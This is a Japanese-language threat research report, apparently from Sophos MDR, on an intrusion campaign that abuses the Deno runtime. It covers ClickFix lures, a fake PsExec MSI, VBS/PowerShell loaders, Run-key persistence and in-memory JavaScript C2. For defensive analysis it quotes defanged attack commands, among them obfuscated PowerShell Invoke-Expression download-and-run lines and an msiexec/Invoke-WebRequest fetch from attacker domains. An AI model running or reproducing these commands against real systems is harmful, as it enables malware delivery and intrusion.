セキュリティ担当者を悩ませる代替ランタイム環境 Deno の悪用

2026 年初頭、Sophos MDR は一連の脅威活動が関与する複数の侵入事例を調査しました。これらの事例では、JavaScript と TypeScript の正規のランタイム環境である Deno が悪用され、悪意のある JavaScript ペイロードがメモリ内で直接実行されていました。初期アクセスの経路は被害組織ごとに異なっていたものの、確認されたマルウェア、インフラストラクチャ、および実行チェーンを分析したところ、侵入後の動作や使用ツールに共通点があることが判明しました。

本記事では、今年前半に Sophos MDR のインシデント対応チームによって確認された、攻撃者の戦術、手法、手順 (TTP) について検証します。Sophos MDR はいくつかの事例に共通する点を分析することで、反復可能な攻撃フレームワークを特定しました。また、現在も追跡を続けています。また、ソフォスの Counter Threat Unit (CTU) 所属の脅威ハンティングチームも、ClickFix が関与する Deno の悪用手法の進化を注視しており、CTU の視点で (およびその後の評価期間において) 観測された内容については、こちらの記事をご確認ください。

概要

代替ランタイム環境の導入が拡大している現状は、セキュリティ担当者にとって課題となっています。セキュリティツールや動作検知機能は、既知の攻撃経路や頻繁に悪用されるスクリプトエンジンに合わせて最適化されていることが多いためです。Deno は正規の開発ツールですが、攻撃者がこれを採用しているということは、監視が手薄な経路を通じて確実にペイロードを実行させるために、監視が比較的行われていないランタイム環境を利用する手法へシフトしていることを意味します。

分析の対象となった事例において、攻撃者は「Bring Your Own Runtime (BYOR)」の手法を用いて、ホスト上に既に存在するランタイムの種類にかかわらず、被害組織の環境全体で一貫した実行を保証していました。これらのすべての事例において、攻撃者は、主に C2 (コマンドアンドコントロール) ペイロードである難読化された JavaScript ペイロードを実行する前に、Deno ランタイムをダウンロードしてインストールしていました。 

複数の事例で、攻撃者はソーシャルエンジニアリング、Web ベースの配信メカニズム、正規ソフトウェアを装ったマルウェアを組み合わせて、初期アクセスを成功させていました。足場を確立した後は、悪意のある MSI パッケージを使用して VBS および PowerShell ローダーを展開し、その後 Deno ランタイムを取得、インストール、実行しました。初期アクセス段階および侵入後の活動を通じて、攻撃者は msiexec、wscript、PowerShell、curl、tar などの環境寄生型バイナリ (LOLBin) を多用していました。攻撃者は VBS、PowerShell、およびその他のネイティブバイナリを広範囲に使用することで、悪意のある活動を正規のシステム操作に紛れ込ませつつ、永続化、ホストのフィンガープリント採取、追加ペイロードの取得、Deno ランタイムの展開、C2 通信の維持を実現しました。

Deno を介して実行されたさまざまな JavaScript ペイロードは、ホストのフィンガープリント採取、実行制御チェック、永続的な C2 通信を実行し、一部のケースでは追加ペイロードの取得と実行を可能にしました。標的の選定や二次ペイロードの展開に違いは見られたものの、その根底にあるステージングメカニズム、ランタイムの展開手法、C2 の設計は極めて一貫したものでした。

これらの観測結果は、Deno の悪用に関して報告されている活動と一致しています。ThreatDown は、Deno ベースの JavaScript 実行と Castle RAT の配信を伴う同様の侵入チェーンをブログ記事で報告しています。この記事では、侵入後の活動をより目立たなくする目的で代替ランタイム環境を悪用することに対し、攻撃者の関心が高まっていることが浮き彫りになっています。

本記事では、被害を受けた組織の間での二次ペイロード展開の違いを含め、このキャンペーンのメカニズムについて詳しく検証します。さらに、復元された悪意のある MSI ファイルの詳細な分析結果を提示し、攻撃者のステージングメカニズム、永続化手法、カスタムアクション、およびペイロード配信手法に関する知見を提供します。

技術的分析と特定

キャンペーン

図 1: 4 件の被害例のプロセスツリーにおいて、相違点よりも類似点が目立つ。差異が見られる各段階は赤枠で囲まれている。

攻撃チェーンは、以下の構造化された手順に従っていました。 

PowerShell またはコマンドベースのステージング → MSI の実行 → VBS および PowerShell ローダー → Deno ランタイムの展開 → メモリ内ペイロードの実行 

初期アクセスの手法はさまざまでしたが、その後のアクションは一貫しており、チェーンの後半 (Deno ベースの JavaScript 実行、C2 通信、ホストのフィンガープリント採取、定期的なビーコン送信) では差異が生じました。

初期アクセス 

4 つの事例において、攻撃者は ClickFix 形式のおとり、Web を介した PowerShell の実行、Web 配信によるスクリプト実行、偽装された GitHub リポジトリ経由で配布されたトロイの木馬 PsExec MSI など、さまざまな初期アクセス手法を用いていました。

最初の事例では、ClickFix 形式のソーシャルエンジニアリングによって初期アクセスが達成されました。この手法では、ユーザーに偽の認証やブラウザのトラブルシューティングに関するプロンプトが表示されます。これらのプロンプトは、通常 Windows の「ファイル名を指定して実行」ダイアログを介して、難読化された PowerShell コマンドを手動でコピーして実行するようユーザーに指示します。その結果、ユーザー主導で PowerShell が実行され、以下に示すように悪意のある MSI インストーラーが取得・起動されました。

"C:\windows\system32\msIeXEC.exe" /paCkAGE hxxp[:\\]sendtokenscf[.]com\system\..\Verifications\..\UsersID-466943 /Q 

第二の事例では、初期アクセスにおいてリモートスクリプトの取得とメモリ内実行が行われました。配信メカニズム (ClickFix かドライブバイ実行か) は具体的に確認できなかったものの、侵害の要因が悪意のある Web サイトや侵害された Web サイトへのユーザーアクセスにある可能性が高いことが示されています。これを裏付ける証拠として、コマンド実行前にアクティブなブラウザセッションが観測され、その後、難読化されたコマンドプロンプトが実行されたことが挙げられます。このコマンドは悪意のある URL を再構築し、隠されていた PowerShell インスタンスを起動してリモートコンテンツをメモリ内にダウンロードし実行しました。その結果、URL 「hxxps[://]ypjkevsbsdhj[.]zhivachkapro[.]com」から悪意のある MSI ペイロードが取得・実行されました。

"C:\Windows\system32\cmd.exe" /v /c"set ha=o&set lo=om/p&set tg=bor&set od=hxxps[://]ypjke&set cn=vsbsdhj[.]zhivachkap&set fc=ro.c&set sv=!od!!cn!!fc!!lo!!ha!!tg!&set dt=nt&set wo=powershell -wi mi Invoke-Expres&set id=).Conte&set jj=sion(wget -usebas&!wo!!jj! !sv!!id!!dt!"
powershell  -wi mi Invoke-Expression(wget -usebas hxxps[://]ypjkevsbsdhj[.]zhivachkapro[.]com/pobor)[.]Content
"C:\Windows\system32\msiexec.exe" /i C:\Users\<user>\AppData\Roaming\<REDACTED>.msi /qn

第三の事例では、初期アクセスは Web ベースであり、アクティブなブラウザセッション中にリモートスクリプトの取得と実行が行われたと判断されています。ペイロードは最終的に悪意のあるドメイン「koromoblog[.]com」から取得されましたが、ユーザーが直接このドメインにアクセスしたことを裏付ける証拠はありません。その代わりに、観測された活動からは、間接的な Web ベースのスクリプト実行が示唆されています。これを裏付ける証拠として、プロセス実行に先立つブラウザ活動と、それに続くユーザーコンテキストでの PowerShell の開始が挙げられます。 感染チェーンの一環として、リモートの MSI ペイロードを取得し、Windows Management Instrumentation (WMI) 経由でインストールするため、隠されていた PowerShell がユーザーコンテキストで実行され、パス「C:\ProgramData\u.msi」に書き込まれ、人目につくユーザー操作を最小限に抑えて実行されました。

PowerShell.exe -WindowStyle Hidden -Command "
$p = 'C:\ProgramData\u.msi';
Invoke-WebRequest 'hxxp[://]koromoblog[.]com/u' -OutFile $p;

Invoke-CimMethod -ClassName Win32_Product -MethodName Install -Arguments @{
    PackageLocation = $p;
    Options = 'ALLUSERS=2 MSIINSTALLPERUSER=1'
}
"

第四の事例では、初期アクセスに検索エンジン最適化 (SEO) ポイズニングとブランドなりすましが用いられました。ユーザーは、偽装 GitHub リポジトリ「hxxps[://]github[.]com/taskp/PsExec」から正規の PsExec ユーティリティになりすました「PsExec.msi」(SHA256: 74260ef8c440692043aaa4656947258b3acfc207c95f09682b69d031b42890a0) という悪意のある MSI をダウンロードし、直接実行しました。この偽装リポジトリには、改ざんされた Bing の検索結果を通じてアクセスしたと見られます。

hxxps[://]www.bing[.]com/search?pglt=2083&q=psexec+systeminterls&cvid=26b2cafb71b1407b8e01649548cf56aa&gs_lcrp=EgRlZGdlKgYIABBFGDkyBggAEEUYOdIBCDU5MjBqMGoxqAIIsAIB&FORM=ANSPA1&PC=U531psexec systeminterls - Search 
hxxps[://]github[.]com/taskp/PsExec/releases/tag/v2.43Release v2.43 · taskp/PsExec · GitHub 
hxxps[://]github[.]com/psexhub/PsExec?tab=readme-ov-filegithub.com

いずれのシナリオにおいても、最終的には悪意のある MSI ファイルが実行されており、インストーラーの段階がキャンペーン全体を通じて攻撃の足場となっていました。

共通の実行フレームワーク

攻撃者は、悪意のある MSI ファイルを使用して VBS および PowerShell スクリプトをドロップし、これらを通じて Deno ランタイム環境を取得していました。これは、観測されたすべての事例に共通するパターンでした。

MSI ファイルを使用することで、攻撃者はネイティブの Windows インストーラー形式を用いてペイロードを確実にパッケージ化して実行することが可能となり、標的の環境間での互換性を確保するとともに、正規の「msiexec.exe」バイナリを介して実行することで、正規のシステム動作に紛れ込み、セキュリティ検知を回避しました。この手法により、初期アクセスの段階での実行成功率が高まり、永続性の確立とその後の段階のための安定したメカニズムが提供されます。

VBS および PowerShell スクリプトは、通常 MSI のカスタムアクションを介して %LocalAppData% 内のユーザーが書き込み可能なディレクトリに展開されました。VBS ファイルは、検知やユーザー操作を回避するため、ユーザープロファイル設定なし (-NoProfile)、対話型プロンプトの抑制 (-NonInteractive)、実行ウィンドウの非表示 (-WindowStyle Hidden)、実行ポリシー制限のバイパス (-ExecutionPolicy Bypass)、およびバックグラウンドでの非同期実行 (0, False フラグ) を指定して PowerShell コマンドを実行しました。  

VBS スクリプトは主に軽量なランチャーと永続化メカニズムとして機能し、関連する PowerShell ペイロードの呼び出しとユーザーセッション間での実行維持を担っていました。PowerShell スクリプトは、Deno ランタイムの取得とインストール、無制限の権限での JavaScript ペイロードの起動など、中核となるステージング活動を実行しました。

すべての事例において一貫した命名規則が見られ、スクリプトのファイル名は大半が NATO フォネティックコードと重複しており、構造化され再現可能なステージング手法が採用されていたことを示しています。

表 1: 4 件の事例における VBS および PowerShell ローダースクリプト名
実行チェーン全体を通じて LOLBin の悪用が顕著に見られました。「msiexec.exe」「wscript.exe」「powershell.exe」などのコアバイナリは、主な実行フレームワークの一部としてすべての事例で使用されていました。さらに、Deno ランタイムの展開については、すべての事例で標準化された手法が採用されており、攻撃者は「curl.exe」を使用してランタイムをダウンロードし、「tar.exe」を使用してアーカイブを抽出していました。信頼されているシステムバイナリの悪用は、信頼性の高い実行モデルを維持しつつ、悪意のある活動を正規プロセスに溶け込ませるという意図的なアプローチを示しています。

curl.exe -s hxxps[://]dl[.]dDeno    [.]land/release-latest[.]txt 
curl.exe -Lo C:\Users\<User>\.deno\bin\deno.zip hxxps[://]dl[.]deno[.]land/release/v2[.]7[.]1/deno-x86_64-pc-windows-msvc[.]zip 
tar.exe xf C:\Users\<User>\.deno\bin\deno.zip -C C:\Users\<User>\.deno\bin

MSI 段階のマルウェア分析 

Sophos MDR は、4 つ目の事例から正規の PsExec バイナリになりすました MSI サンプルをマルウェア分析の対象とし、その機能を侵入段階で観測された活動と関連付けました。この感染チェーンは、攻撃者のツールと侵入後の動作を最も明確に可視化します。 

本記事で取り上げた他の事例が観測される 2 週間前に、活動が既に確認されていました。 

「PsExec.msi」は、アーカイブファイル「PsExec_v2.43.zip」に含まれていました。この悪意のあるアーカイブは、以前 GitHub の「hxxps[://]github[.]com/taskp/PsExec/releases/download/v2.43/PsExec_v2.43.zip」で公開されていました。 

分析の結果、この MSI ファイルは WiX を使用して構築されており、標準的なインストーラー機能の他に、カスタムアクションを使用して VBS および PowerShell スクリプト「Lynx_system59.vbs」(SHA256: 2541d96d1d071f87127bf0714f70692d25e1946632457718c6f378fcc4a3dca2) をドロップして実行することが判明しました。さらに、コマンド「wscript.exe "[INSTALLFOLDER]Lynx_system59.vbs"」を介してユーザーのローカル AppData フォルダ内のサブフォルダ「Serial」から「python85.ps1」(SHA256: b0af82de672d81f3c2f153977923b3884a8a9e7045b182c2379b19a1996931a0) を実行します。これらのスクリプトは正規の Deno ランタイムをダウンロードし、難読化されたメモリ内 JavaScript ペイロードを起動しました。永続化は、HKCU Run レジストリキー「HKCU\Software\Microsoft\Windows\CurrentVersion\Run」に値「Papa_software10」を設定することで確立されました。Run キー内のコマンドは、上記の wscript.exe を実行するカスタムアクションと同一です。

以下のセクションでは、悪意のある MSI ファイルの実行順序を分析していきます。

マルウェア作成者のツールセット

当該の MSI ファイルは、XML から Windows インストーラーパッケージをビルドするソフトウェアである Windows Installer XML Toolset (WiX) を使用して作成されました。

図 2: サンプルに対する Strings の出力結果。WiX ツールセットが使用されていることを示している。

攻撃者は命名規則に NATO フォネティックコードを使用していました。図 3 の Property テーブル (定義されたすべてのプロパティのプロパティ名と値を示すテーブル) には、製造元として「echo_tool89」と記載されています。製品名は「serial」とされており、これは後のセクションで説明するインストールディレクトリと一致します。

図 3: インストールのプロパティ名と値を示す MSI Property テーブル。Manufacturer と ProductName が攻撃者の命名規則と一致している。

インストールのフロー

MSI インストールのフローを制御する「InstallUISequence」と「InstallExecuteSequence」テーブルによると、マルウェア作成者はそのプロセスによってドロップされたファイルを実行するためのカスタムアクション「RunVbsLauncher」を組み込んでいました。 

図 4: シーケンス番号の昇順で並べられた MSI の InstallExecuteSequence テーブル

ファイルのインストール

図 5: INSTALLFOLDER ディレクトリの名前が「Serial」であり、親が「LocalAppDataFolder」であることを示す MSI Directory テーブル

MSI ファイルには data.cab キャビネットファイルが含まれており、これには 439 バイトの VBS ファイル「Lynx_system59.vbs」と 3,125 バイトの PowerShell スクリプト「python85.ps1」の 2 つのファイルが含まれています。「InstallFiles」アクションは、File テーブルで指定されたファイルを MSI の data.cab からインストール先ディレクトリ「C:\Users<ユーザー>\AppData\Local\Serial\」へコピーします。

両ファイルには「msidbFileAttributesVital」属性が付与されており、これらは Windows インストーラーに対して必須のインストールコンポーネントであることを示しています。いずれかのファイルが存在しない場合、インストールは失敗し、Windows インストーラーはインストールをロールバックします。 

図 6: MSI ファイル内にバンドルされたスクリプトを示す MSI の File テーブル

悪意のあるカスタムアクション 

スクリプトがドロップされた後、攻撃者はタイプ「1250」のカスタムアクション「RunVbsLauncher」を使用し、wscript.exe に対して「Lynx_system59.vbs」を実行させます。このアクションに含まれるコマンドラインは「wscript.exe "[INSTALLFOLDER]Lynx_system59.vbs"」です。wscript.exe は msiexec.exe の子プロセスとして非同期で実行され、msiexec.exe の終了後も実行を継続します。 

図 7: バンドルされた VBS ファイルを wscript.exe 経由で実行するために攻撃者によって指定された「RunVbsLauncher」を示す CustomAction テーブル

永続性の確立 

攻撃者は、WriteRegistryValues アクションを使用して「HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Papa_software10」に、上記のカスタムアクションと同一の値「wscript.exe "[INSTALLFOLDER]Lynx_system59.vbs"」を設定することで永続性を確立します。これは VBS ファイルが wscript.exe によって実行された後に実行され、HKCU の Windows Run キーを介して VBS ファイルを定期的に実行する永続化メカニズムとして機能します。 

図 8: Run キーの永続化メカニズムを示すレジストリテーブル

ファイルレス実行エンジンとしての Deno

MSI-VBS-PowerShell のステージングチェーンを経た展開の後、攻撃者は正規の Deno インフラストラクチャから Deno ランタイムを取得し、ネイティブの Windows ユーティリティを使用して抽出し、JavaScript ペイロード実行のプライマリプラットフォームとして実行しました。

攻撃者が Deno JavaScript ランタイム環境のバイナリである「deno.exe」の導入に成功すると、ファイルシステム、ネットワーク、環境変数への無制限アクセスを付与する -A (allow-all) フラグを付けて実行されました。ペイロードは「data:application/javascript;base64,<エンコードされたペイロード>」を使用してインラインで渡され、スクリプトをディスクに書き込むことなく、JavaScript をメモリ内で直接実行できるようにしました。

この JavaScript ペイロードはホストのフィンガープリント採取を実行し、擬似ミューテックスを使用してマルウェアインスタンスの重複を防止します。C2 はハードコードされたドメインと IP アドレスを介して管理され、/health エンドポイント経由での接続チェックを使用してアクティブなインフラストラクチャを特定します。アクティブなキャンペーンにおいて感染したデバイスは、「/mv2/」エンドポイントを介して追加のペイロードを取得し、「allow-all」権限でメモリ内で直接実行します。この方法によって持続的な通信が可能となり、個々の C2 エンドポイントが利用不能になった場合でも動作は継続されます。 

Deno が実行プラットフォームとして確立されたことを受け、分析対象は JavaScript ペイロードそのものへと移行しました。

Deno.exe によって実行される難読化された JavaScript

二次的な JavaScript ペイロードは Base64 でエンコードされており、その意図を隠蔽する目的で 1 文字の関数名が使用されていました。そのメイン関数は、ホストのフィンガープリント採取を行い、キャンペーンがアクティブであるかを判断するために定期的に /health エンドポイントへビーコンを送信していました。また、同じデバイスへの再感染を防ぐため、ローカルホストのポートを擬似ミューテックスとして使用していました。

スクリプトのメイン関数である関数 m() は、まず選択されたポート (10044) を関数 s() に渡します。関数 s() は、デバイス上でマルウェアのインスタンスを 1 つだけ実行させるための簡易的なミューテックスとして機能します。10044 が既に使用中の場合、Deno プロセスはエラーコード 1 で終了します。 

図 9: 擬似ミューテックスとして機能する localhost:10044 へのバインドを示す関数 s() と関数 m()

ミューテックスチェックが成功した場合、関数 a() はユーザー名、ホスト名、システムメモリ、OS リリース情報を収集してシステムのフィンガープリント採取を実行します。出力は関数 i() に渡され、ハッシュ関数として機能して感染デバイスの一意の識別子を作成します。攻撃者はこの識別子を使用することで、別のキャンペーンでも感染デバイスを追跡できます。  

図 10: システム検出コマンドを示す関数 a()

その後、このマルウェアは C2 の「/health」エンドポイントへの URI 文字列を組み立てます。for ループは関数 d() を介して C2 との接続性を継続的にチェックし、アクティブなものがない場合はエラーを返します。 

図 11: ハードコードされた C2 へのアクセスを担当する関数 d()

図 12: /health URI へのクライアントパケットの ASCII 表現を示す Wireshark キャプチャ

成功した場合、応答した C2 サーバーから関数 d() によって別の URI 文字列が、変数 e() (埋め込まれた JSON Web Token (JWT) トークン) および変数 t() (マシンフィンガープリント) として作成されます。

let o = `${e}/mv2/[JWT_TOKEN]/${t}`;

関数 u() は、このリクエストを C2 の「/mv2/…」URI エンドポイントに送信します。

図 13: /mv2/ URI へのクライアントパケットの ASCII 表現を示す Wireshark キャプチャ

コード分析によると、C2 インフラストラクチャがアクティブであった場合、Deno ランタイムは -A 引数を介して「--allow-all」権限で deno を実行する関数 l() を使用して応答を実行していました。

図 14: /mv2/ エンドポイントへの組み立てられた URI 文字列を指定して関数 l() を呼び出す関数 m() と、-A 引数付きで返されたペイロードを実行する関数 l()

4 つ目の事例では、攻撃者はその後 PowerShell スクリプトを取得し、正規の PsExec バイナリを介して PowerShell を実行することで、SYSTEM 権限を持つシェルを取得しました。その後、ドメインおよびネットワークの検出と列挙を行い、SAM レジストリハイブから認証情報をダンプしました。 

キャンペーン全体の観測結果

このキャンペーン全体を通じて、すべての事例で同様の実行パターンが見られましたが、初期アクセス手法には違いがありました。MSI インストーラーは VBS および PowerShell ローダーをドロップした後、ペイロード実行のために Deno へと移行しました。 

ソフォスでは、攻撃者がキャンペーンの管理のために用いたいくつかの手段を解明することができました。異なる C2 ドメインのほかにも、攻撃者は埋め込まれた JWT 内のカスタムクレームを介してキャンペーンを追跡していました。 

図 15: JWT のデコードされたクレームセクション。カスタムクレーム、特に「campaignId」と「campaignName」が確認できる

MaaS (Malware-as-a-Service: サービスとしてのマルウェア) オペレーターは他の攻撃者にサービスを販売しており、クライアントによるインフラストラクチャの使用状況を追跡するメカニズムを必要としています。JWT に追加されたカスタムフィールド「campaignId」と「campaignName」の存在は、そうした関係を示唆している可能性があります。以下の表 2 は、事例間で異なる JWT と指標をまとめたものです。

表 2: 各事例のスクリプト名、C2 指標、JWT キャンペーン識別子の比較

この JavaScript マルウェアには、同一デバイスへの再感染を防ぐミューテックスのような動作や、ユーザー名、ホスト名、デバイスメモリ、オペレーティングシステムに基づいて一意の識別子を生成するフィンガープリント機能も備わっていました。これは、異なるデバイスや被害組織の環境でのキャンペーン管理に役立っていたと考えられます。 

ソフォスによる対策

これらの侵入における一連のイベントは、リモート MSI 実行の段階、ClickFix 形式の「ファイル名を指定して実行」ダイアログでの実行、deno.exe 自体の PowerShell ダウンロードなど、活動のさまざまな段階でソフォスによる検知を複数回トリガーしました。調査の過程で、Deno 経由で発生した制御不能な下流の動作にフラグ立てできるコンテキストルールなど、予期せぬ Deno の動作を検知するルールの適用機会を複数特定しました。Deno の悪用に関連する活動を検知する Taegis の対策リストは、こちらの CTU による記事で公開されています。個々の環境では、Sophos Central のアプリケーションコントロール/PUA ルール (AppC/Deno-A) を通じて Deno ランタイムを管理することも可能です。最後に、本調査に関連する IOC (セキュリティ侵害の痕跡) が記載されているファイルは、ソフォスの GitHub で公開されています。

結論

ここで取り上げた 4 つの事例では、攻撃者は実行レイヤーとして Deno を導入していました。これは、攻撃手法が変化していることを示しています。つまり、監視が比較的手薄なランタイム環境を悪用することで、実行の信頼性を高め、防御範囲が限られていることにつけ込んで検知される可能性を低減させているのです。

最も重要な点は、特に Deno のようなランタイム環境の悪用、MSI ベースのステージング、および複数のツールでのスクリプトの連鎖実行に関して、検知のギャップが拡大していることです。ファイルレス JavaScript の使用により、従来の検知手法の有効性がさらに制限されるため、この手法をこれまで通りのセキュリティコントロールで特定することはますます難しくなっています。

謝辞

筆者一同は、本レポートへの貢献に対し Liam Miller に謝意を表します。